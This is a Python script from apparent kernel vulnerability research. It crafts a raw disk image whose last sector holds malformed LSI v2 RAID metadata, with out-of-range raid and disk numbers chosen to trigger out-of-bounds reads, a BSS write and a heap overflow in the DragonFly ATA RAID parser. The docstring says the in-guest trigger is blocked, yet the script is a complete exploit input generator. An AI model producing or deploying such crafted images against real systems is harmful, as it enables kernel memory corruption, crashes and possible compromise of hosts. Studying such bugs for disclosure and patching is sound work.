#!/usr/bin/env python3
"""
DF-1172 build_meta.py -- craft a raw disk image carrying malicious LSI v2
RAID metadata, for the live in-guest trigger attempt.

The LSI v2 metadata block (struct lsiv2_raid_conf, ata-raid.h:459) is read by
ata_raid_lsiv2_read_meta() from the LAST sector of the disk
(LSIV2_LBA = total_secs - 1, ata-raid.h:456).  The magic is "$XIDE$"
(ata-raid.h:461).  We craft a block whose raid_number/disk_number are out of
range so the in-kernel parser would hit the three OOB sites (BSS write of a
heap pointer, configs[] OOB read, raid->disks[] heap overflow).

NOTE: like DF-1171, the live in-guest trigger is blocked on this QEMU guest by
a loader artifact (the DragonFly loader hangs on ANY extra hard disk before
the kernel boots), so this image is a reference artifact for the attack vector
rather than something the guest will actually probe.  The primary proof is the
overflow_harness; see VERDICT.md.
"""
import struct, sys

def build(path, raid_number=200, disk_number=200, total_secs=4096):
    # struct lsiv2_raid_conf (ata-raid.h:459), __packed.
    # lsi_id[6]="$XIDE$", dummy_0, flags(u8), version(u16),
    # config_entries, raid_count, total_disks, dummy_1 (4*u8), dummy_2(u16),
    # configs[30] union (~16 B each -> 480 B), disk_number(u8), raid_number(u8),
    # timestamp(u32), filler[10]
    CFG_SZ = 16
    hdr = b"$XIDE$"               # lsi_id[6]
    hdr += b"\x00"                # dummy_0
    hdr += b"\x00"                # flags
    hdr += struct.pack("<H", 0x0200)   # version
    hdr += bytes([1, 1, 1, 0])    # config_entries, raid_count, total_disks, dummy_1
    hdr += struct.pack("<H", 0)   # dummy_2
    # configs[30]: make configs[0].raid.type = LSIV2_T_RAID0 (0x01) so the
    # switch hits the RAID0 arm; rest zero.
    cfg0 = bytes([0x01]) + b"\x00"*3 + struct.pack("<H", 64) + bytes([2,2,0,0,0]) \
           + struct.pack("<I", 0x100000) + b"\x00"*3
    cfg0 = cfg0[:CFG_SZ].ljust(CFG_SZ, b"\x00")
    hdr += cfg0 * 30
    hdr += bytes([disk_number & 0xff])   # disk_number  (BUG 3: >=16)
    hdr += bytes([raid_number & 0xff])   # raid_number  (BUG 1 & 2: >=16/>=30)
    hdr += struct.pack("<I", 0xdeadbeef) # timestamp
    hdr += b"\x00"*10                    # filler[10]

    # build a total_secs*512 image, place metadata at last sector
    img = bytearray(total_secs * 512)
    off = (total_secs - 1) * 512
    img[off:off+len(hdr)] = hdr
    with open(path, "wb") as f:
        f.write(img)
    print("built %s: %d sectors, LSI v2 magic at LBA %d, "
          "raid_number=%d disk_number=%d (block %d bytes)"
          % (path, total_secs, total_secs-1, raid_number, disk_number, len(hdr)))

if __name__ == "__main__":
    path = sys.argv[1] if len(sys.argv) > 1 else "crafted_lsiv2.img"
    rn = int(sys.argv[2]) if len(sys.argv) > 2 else 200
    dn = int(sys.argv[3]) if len(sys.argv) > 3 else 200
    build(path, rn, dn)
